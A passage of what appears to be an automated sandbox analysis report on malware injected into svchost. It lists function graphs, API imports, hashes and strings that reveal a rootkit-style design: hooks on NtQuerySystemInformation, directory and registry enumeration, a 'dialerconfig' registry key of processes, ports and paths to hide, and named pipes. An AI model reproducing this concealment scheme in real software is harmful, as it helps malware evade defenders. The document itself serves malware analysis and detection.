                                                                  • Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1805
                                                                  • Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD1820
                                                                  • Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1840
                                                                  • Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD185B
                                                                  • Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD187B
                                                                  • Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD1896
                                                                  • Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD18A0
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CloseOpen$HeapSleep$AllocProcess
                                                                • String ID:
                                                                • API String ID: 1534210851-0
                                                                • Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                                                • Instruction ID: 27739bd1d7c2b649979a3e3ac9a2f5b2f111066e3f9e7ba65cc6bd2b1fdd864d
                                                                • Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                                                • Instruction Fuzzy Hash: 1231B771308A4182EF509B66DA593F9A3E4BF84BD0F0C55229E0BC76B6EF24C8538330
                                                                Function 0000014E41FD3844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 62 14e41fd3844-14e41fd384f 63 14e41fd3869-14e41fd3870 62->63 64 14e41fd3851-14e41fd3864 StrCmpNIW 62->64 64->63 65 14e41fd3866 64->65 65->63
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: dialer
                                                                • API String ID: 0-3528709123
                                                                • Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
                                                                • Instruction ID: edc9b53c890d6efa8cfb08019f2e5464623e49ddff2869f1cd1f5de1b6805b2a
                                                                • Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
                                                                • Instruction Fuzzy Hash: 8BD05EB13117058AFF14DFAA88CD6B0A390BF04754F8C40208A0181660DB18C99E9620
                                                                Function 0000014E41FA273C Relevance: 1.7, APIs: 1, Instructions: 187libraryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427334726.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fa0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: LibraryLoad
                                                                • String ID:
                                                                • API String ID: 1029625771-0
                                                                • Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                                                • Instruction ID: 67325ab9c1bf59a10d455d8bffd91d13401eaaa9fb1b126a29269b2ed4ac34ab
                                                                • Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                                                • Instruction Fuzzy Hash: CA61DD32B0169087DF54CF9590487ADB3E2FB58BE4F1C8121EE5A87B98DA38D853D720

                                                                Non-executed Functions

                                                                Function 0000014E41FD2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 372 14e41fd2b2c-14e41fd2ba5 call 14e41ff2ce0 375 14e41fd2bab-14e41fd2bb1 372->375 376 14e41fd2ee0-14e41fd2f03 372->376 375->376 377 14e41fd2bb7-14e41fd2bba 375->377 377->376 378 14e41fd2bc0-14e41fd2bc3 377->378 378->376 379 14e41fd2bc9-14e41fd2bd9 GetModuleHandleA 378->379 380 14e41fd2bdb-14e41fd2beb call 14e41fe6090 379->380 381 14e41fd2bed 379->381 383 14e41fd2bf0-14e41fd2c0e 380->383 381->383 383->376 386 14e41fd2c14-14e41fd2c33 StrCmpNIW 383->386 386->376 387 14e41fd2c39-14e41fd2c3d 386->387 387->376 388 14e41fd2c43-14e41fd2c4d 387->388 388->376 389 14e41fd2c53-14e41fd2c5a 388->389 389->376 390 14e41fd2c60-14e41fd2c73 389->390 391 14e41fd2c83 390->391 392 14e41fd2c75-14e41fd2c81 390->392 393 14e41fd2c86-14e41fd2c8a 391->393 392->393 394 14e41fd2c9a 393->394 395 14e41fd2c8c-14e41fd2c98 393->395 396 14e41fd2c9d-14e41fd2ca7 394->396 395->396 397 14e41fd2d9d-14e41fd2da1 396->397 398 14e41fd2cad-14e41fd2cb0 396->398 401 14e41fd2da7-14e41fd2daa 397->401 402 14e41fd2ed2-14e41fd2eda 397->402 399 14e41fd2cc2-14e41fd2ccc 398->399 400 14e41fd2cb2-14e41fd2cbf call 14e41fd199c 398->400 404 14e41fd2cce-14e41fd2cdb 399->404 405 14e41fd2d00-14e41fd2d0a 399->405 400->399 406 14e41fd2dbb-14e41fd2dc5 401->406 407 14e41fd2dac-14e41fd2db8 call 14e41fd199c 401->407 402->376 402->390 404->405 412 14e41fd2cdd-14e41fd2cea 404->412 413 14e41fd2d3a-14e41fd2d3d 405->413 414 14e41fd2d0c-14e41fd2d19 405->414 409 14e41fd2dc7-14e41fd2dd4 406->409 410 14e41fd2df5-14e41fd2df8 406->410 407->406 409->410 418 14e41fd2dd6-14e41fd2de3 409->418 419 14e41fd2dfa-14e41fd2e03 call 14e41fd1bbc 410->419 420 14e41fd2e05-14e41fd2e12 lstrlenW 410->420 421 14e41fd2ced-14e41fd2cf3 412->421 416 14e41fd2d4b-14e41fd2d58 lstrlenW 413->416 417 14e41fd2d3f-14e41fd2d49 call 14e41fd1bbc 413->417 414->413 422 14e41fd2d1b-14e41fd2d28 414->422 424 14e41fd2d7b-14e41fd2d8d call 14e41fd3844 416->424 425 14e41fd2d5a-14e41fd2d64 416->425 417->416 429 14e41fd2d93-14e41fd2d98 417->429 426 14e41fd2de6-14e41fd2dec 418->426 419->420 436 14e41fd2e4a-14e41fd2e55 419->436 430 14e41fd2e35-14e41fd2e3f call 14e41fd3844 420->430 431 14e41fd2e14-14e41fd2e1e 420->431 428 14e41fd2cf9-14e41fd2cfe 421->428 421->429 432 14e41fd2d2b-14e41fd2d31 422->432 424->429 440 14e41fd2e42-14e41fd2e44 424->440 425->424 435 14e41fd2d66-14e41fd2d79 call 14e41fd152c 425->435 426->436 437 14e41fd2dee-14e41fd2df3 426->437 428->405 428->421 429->440 430->440 431->430 441 14e41fd2e20-14e41fd2e33 call 14e41fd152c 431->441 432->429 442 14e41fd2d33-14e41fd2d38 432->442 435->424 435->429 444 14e41fd2ecc-14e41fd2ed0 436->444 445 14e41fd2e57-14e41fd2e5b 436->445 437->410 437->426 440->402 440->436 441->430 441->436 442->413 442->432 444->402 449 14e41fd2e5d-14e41fd2e61 445->449 450 14e41fd2e63-14e41fd2e7d call 14e41fd85c0 445->450 449->450 453 14e41fd2e80-14e41fd2e83 449->453 450->453 456 14e41fd2ea6-14e41fd2ea9 453->456 457 14e41fd2e85-14e41fd2ea3 call 14e41fd85c0 453->457 456->444 459 14e41fd2eab-14e41fd2ec9 call 14e41fd85c0 456->459 457->456 459->444
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
                                                                • String ID: NtQueryObject$\Device\Nsi$ntdll.dll
                                                                • API String ID: 2119608203-3850299575
                                                                • Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                                                • Instruction ID: effd1d481dd4490a16ad21cf9b2687bc37b8d46439eecc8b1afc957421dada5b
                                                                • Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                                                • Instruction Fuzzy Hash: DBB16972310A9086FF649FA5D4587E9A3E5FF44B94F485016EE0A937A4DB35CC42C7A0
                                                                Function 0000014E41FD7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                • String ID:
                                                                • API String ID: 3140674995-0
                                                                • Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                                                • Instruction ID: 4a8a08b1cb576b9d78726fe8905b333cbd284622d38cdc1c56e494f92cae6b39
                                                                • Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                                                • Instruction Fuzzy Hash: 4B316172305B8489EF609F60E8543EDB3A0FB84758F48412ADA4E87BA4EF38C549C720
                                                                Function 0000014E41FDD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                • String ID:
                                                                • API String ID: 1239891234-0
                                                                • Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                                                • Instruction ID: 6ff2dff154542a0378403bbbd0c8e4de9d1707aa7ebe8d406dd5d67eefb56c20
                                                                • Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                                                • Instruction Fuzzy Hash: 39313136314F8086DB60CF25E8443EEB3A4FB89764F580116EA9E87BA5DF38C556CB10
                                                                Function 0000014E41FD1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
                                                                • String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
                                                                • API String ID: 106492572-2879589442
                                                                • Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                                                • Instruction ID: a2090c4e061c94f1704aee29069009e9ac06c7e615b494ced23eb7a84219142a
                                                                • Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                                                • Instruction Fuzzy Hash: ED712836318B1486EF10AF61E8886E9A3F5FB84B98F091111DE4E87B39DF38C546C360
                                                                Function 0000014E41FD12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
                                                                • String ID: d
                                                                • API String ID: 2005889112-2564639436
                                                                • Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                                                • Instruction ID: 013e14f2c87ef41763d25eff144d490c8d2c3adaa6cff7853b3d531281aa9866
                                                                • Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                                                • Instruction Fuzzy Hash: D5513036708B8886EB55CF62E5483AAB7E1FB89F95F494124DE4A47768DF3CC046C710
                                                                Function 0000014E41FD1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: CurrentThread$AddressHandleModuleProc
                                                                • String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
                                                                • API String ID: 4175298099-1975688563
                                                                • Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                                                • Instruction ID: d2164b162b6ae80d87fccfd4c10993e61a433f491f5e0695c4aef27492673104
                                                                • Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                                                • Instruction Fuzzy Hash: 60318274704A4AA0FF04EFA9E8597E4E3A1BF54354F8D5013941A97676AF78C24BC3B0
                                                                Function 0000014E41FA6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 214 14e41fa6910-14e41fa6916 215 14e41fa6918-14e41fa691b 214->215 216 14e41fa6951-14e41fa695b 214->216 217 14e41fa691d-14e41fa6920 215->217 218 14e41fa6945-14e41fa6984 call 14e41fa6fc0 215->218 219 14e41fa6a78-14e41fa6a8d 216->219 220 14e41fa6938 __scrt_dllmain_crt_thread_attach 217->220 221 14e41fa6922-14e41fa6925 217->221 237 14e41fa698a-14e41fa699f call 14e41fa6e54 218->237 238 14e41fa6a52 218->238 222 14e41fa6a9c-14e41fa6ab6 call 14e41fa6e54 219->222 223 14e41fa6a8f 219->223 229 14e41fa693d-14e41fa6944 220->229 225 14e41fa6927-14e41fa6930 221->225 226 14e41fa6931-14e41fa6936 call 14e41fa6f04 221->226 235 14e41fa6ab8-14e41fa6aed call 14e41fa6f7c call 14e41fa6e1c call 14e41fa7318 call 14e41fa7130 call 14e41fa7154 call 14e41fa6fac 222->235 236 14e41fa6aef-14e41fa6b20 call 14e41fa7190 222->236 227 14e41fa6a91-14e41fa6a9b 223->227 226->229 235->227 248 14e41fa6b31-14e41fa6b37 236->248 249 14e41fa6b22-14e41fa6b28 236->249 246 14e41fa6a6a-14e41fa6a77 call 14e41fa7190 237->246 247 14e41fa69a5-14e41fa69b6 call 14e41fa6ec4 237->247 242 14e41fa6a54-14e41fa6a69 238->242 246->219 264 14e41fa69b8-14e41fa69dc call 14e41fa72dc call 14e41fa6e0c call 14e41fa6e38 call 14e41faac0c 247->264 265 14e41fa6a07-14e41fa6a11 call 14e41fa7130 247->265 254 14e41fa6b39-14e41fa6b43 248->254 255 14e41fa6b7e-14e41fa6b94 call 14e41fa268c 248->255 249->248 253 14e41fa6b2a-14e41fa6b2c 249->253 260 14e41fa6c1f-14e41fa6c2c 253->260 261 14e41fa6b4f-14e41fa6b5d call 14e41fb5780 254->261 262 14e41fa6b45-14e41fa6b4d 254->262 275 14e41fa6b96-14e41fa6b98 255->275 276 14e41fa6bcc-14e41fa6bce 255->276 267 14e41fa6b63-14e41fa6b78 call 14e41fa6910 261->267 279 14e41fa6c15-14e41fa6c1d 261->279 262->267 264->265 317 14e41fa69de-14e41fa69e5 __scrt_dllmain_after_initialize_c 264->317 265->238 287 14e41fa6a13-14e41fa6a1f call 14e41fa7180 265->287 267->255 267->279 275->276 284 14e41fa6b9a-14e41fa6bbc call 14e41fa268c call 14e41fa6a78 275->284 277 14e41fa6bd0-14e41fa6bd3 276->277 278 14e41fa6bd5-14e41fa6bea call 14e41fa6910 276->278 277->278 277->279 278->279 296 14e41fa6bec-14e41fa6bf6 278->296 279->260 284->276 311 14e41fa6bbe-14e41fa6bc6 call 14e41fb5780 284->311 304 14e41fa6a21-14e41fa6a2b call 14e41fa7098 287->304 305 14e41fa6a45-14e41fa6a50 287->305 301 14e41fa6bf8-14e41fa6bff 296->301 302 14e41fa6c01-14e41fa6c11 call 14e41fb5780 296->302 301->279 302->279 304->305 316 14e41fa6a2d-14e41fa6a3b 304->316 305->242 311->276 316->305 317->265 318 14e41fa69e7-14e41fa6a04 call 14e41faabc8 317->318 318->265
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427334726.0000014E41FA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fa0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                                                • String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
                                                                • API String ID: 190073905-1786718095
                                                                • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction ID: 3e159b189dba1bc57bfc5d577fc7ac4b56b81dc430d962f8f9d12e70aa5f2c50
                                                                • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction Fuzzy Hash: 3C81C03170064286FE90AB6694593D9E3D0FF897E0F5C80259A09C7FB6EB3DC8478720
                                                                Function 0000014E41FDCE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                • GetLastError.KERNEL32 ref: 0000014E41FDCE37
                                                                • FlsGetValue.KERNEL32(?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCE4C
                                                                • FlsSetValue.KERNEL32(?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCE6D
                                                                • FlsSetValue.KERNEL32(?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCE9A
                                                                • FlsSetValue.KERNEL32(?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCEAB
                                                                • FlsSetValue.KERNEL32(?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCEBC
                                                                • SetLastError.KERNEL32 ref: 0000014E41FDCED7
                                                                • FlsGetValue.KERNEL32(?,?,?,?,?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCF0D
                                                                • FlsSetValue.KERNEL32(?,?,00000001,0000014E41FDECCC,?,?,?,?,0000014E41FDBF9F,?,?,?,?,?,0000014E41FD7AB0), ref: 0000014E41FDCF2C
                                                                  • Part of subcall function 0000014E41FDD6CC: HeapAlloc.KERNEL32 ref: 0000014E41FDD721
                                                                • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCF54
                                                                  • Part of subcall function 0000014E41FDD744: HeapFree.KERNEL32 ref: 0000014E41FDD75A
                                                                  • Part of subcall function 0000014E41FDD744: GetLastError.KERNEL32 ref: 0000014E41FDD764
                                                                • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCF65
                                                                • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000014E41FE0A6B,?,?,?,0000014E41FE045C,?,?,?,0000014E41FDC84F), ref: 0000014E41FDCF76
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Value$ErrorLast$Heap$AllocFree
                                                                • String ID:
                                                                • API String ID: 570795689-0
                                                                • Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                                                • Instruction ID: d05d1a81437cdd74f7d820c0fbdd9315d75b8d778be0daec336e8a8adf9e924f
                                                                • Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                                                • Instruction Fuzzy Hash: 8141E7B034528441FE69A735955D7F9E3C2BF847B0F1C0B28A92BC66F6EE68D5039230
                                                                Function 0000014E41FD2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
                                                                • String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
                                                                • API String ID: 2171963597-1373409510
                                                                • Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                                                • Instruction ID: 7e5f448f2627fb39cf378e58a67f4c7b29978e30c1d81c84a71b5fabbdbaa53a
                                                                • Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                                                • Instruction Fuzzy Hash: B0213032718B5482FB10CB25E4483A9A7E0FB85BA4F580215DA5A42BB8CF7CC54ACB10
                                                                Function 0000014E41FDA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 593 14e41fda544-14e41fda5ac call 14e41fdb414 596 14e41fdaa13-14e41fdaa1b call 14e41fdc748 593->596 597 14e41fda5b2-14e41fda5b5 593->597 597->596 598 14e41fda5bb-14e41fda5c1 597->598 600 14e41fda5c7-14e41fda5cb 598->600 601 14e41fda690-14e41fda6a2 598->601 600->601 605 14e41fda5d1-14e41fda5dc 600->605 603 14e41fda6a8-14e41fda6ac 601->603 604 14e41fda963-14e41fda967 601->604 603->604 606 14e41fda6b2-14e41fda6bd 603->606 608 14e41fda969-14e41fda970 604->608 609 14e41fda9a0-14e41fda9aa call 14e41fd9634 604->609 605->601 607 14e41fda5e2-14e41fda5e7 605->607 606->604 611 14e41fda6c3-14e41fda6ca 606->611 607->601 612 14e41fda5ed-14e41fda5f7 call 14e41fd9634 607->612 608->596 613 14e41fda976-14e41fda99b call 14e41fdaa1c 608->613 609->596 619 14e41fda9ac-14e41fda9cb call 14e41fd7940 609->619 616 14e41fda894-14e41fda8a0 611->616 617 14e41fda6d0-14e41fda707 call 14e41fd9a10 611->617 612->619 627 14e41fda5fd-14e41fda628 call 14e41fd9634 * 2 call 14e41fd9d24 612->627 613->609 616->609 620 14e41fda8a6-14e41fda8aa 616->620 617->616 631 14e41fda70d-14e41fda715 617->631 624 14e41fda8ba-14e41fda8c2 620->624 625 14e41fda8ac-14e41fda8b8 call 14e41fd9ce4 620->625 624->609 630 14e41fda8c8-14e41fda8d5 call 14e41fd98b4 624->630 625->624 638 14e41fda8db-14e41fda8e3 625->638 661 14e41fda62a-14e41fda62e 627->661 662 14e41fda648-14e41fda652 call 14e41fd9634 627->662 630->609 630->638 635 14e41fda719-14e41fda74b 631->635 640 14e41fda887-14e41fda88e 635->640 641 14e41fda751-14e41fda75c 635->641 642 14e41fda9f6-14e41fdaa12 call 14e41fd9634 * 2 call 14e41fdc6a8 638->642 643 14e41fda8e9-14e41fda8ed 638->643 640->616 640->635 641->640 644 14e41fda762-14e41fda77b 641->644 642->596 646 14e41fda8ef-14e41fda8fe call 14e41fd9ce4 643->646 647 14e41fda900 643->647 648 14e41fda874-14e41fda879 644->648 649 14e41fda781-14e41fda7c6 call 14e41fd9cf8 * 2 644->649 657 14e41fda903-14e41fda90d call 14e41fdb4ac 646->657 647->657 653 14e41fda884 648->653 674 14e41fda7c8-14e41fda7ee call 14e41fd9cf8 call 14e41fdac38 649->674 675 14e41fda804-14e41fda80a 649->675 653->640 657->609 672 14e41fda913-14e41fda961 call 14e41fd9944 call 14e41fd9b50 657->672 661->662 666 14e41fda630-14e41fda63b 661->666 662->601 678 14e41fda654-14e41fda674 call 14e41fd9634 * 2 call 14e41fdb4ac 662->678 666->662 671 14e41fda63d-14e41fda642 666->671 671->596 671->662 672->609 693 14e41fda815-14e41fda872 call 14e41fda470 674->693 694 14e41fda7f0-14e41fda802 674->694 682 14e41fda87b 675->682 683 14e41fda80c-14e41fda810 675->683 699 14e41fda68b 678->699 700 14e41fda676-14e41fda680 call 14e41fdb59c 678->700 684 14e41fda880 682->684 683->649 684->653 693->684 694->674 694->675 699->601 703 14e41fda686-14e41fda9ef call 14e41fd92ac call 14e41fdaff4 call 14e41fd94a0 700->703 704 14e41fda9f0-14e41fda9f5 call 14e41fdc6a8 700->704 703->704 704->642
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                • String ID: csm$csm$csm
                                                                • API String ID: 849930591-393685449
                                                                • Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                                                • Instruction ID: d2352766757894f1e6b2819fe3e7d64d43612c435bf147b291665c758718f4e6
                                                                • Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                                                • Instruction Fuzzy Hash: 43E16B72704B408AEF60DF6594493EDB7E0FB85B98F180115EE8E97BA9CB34C492C725
                                                                Function 0000014E41FA9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
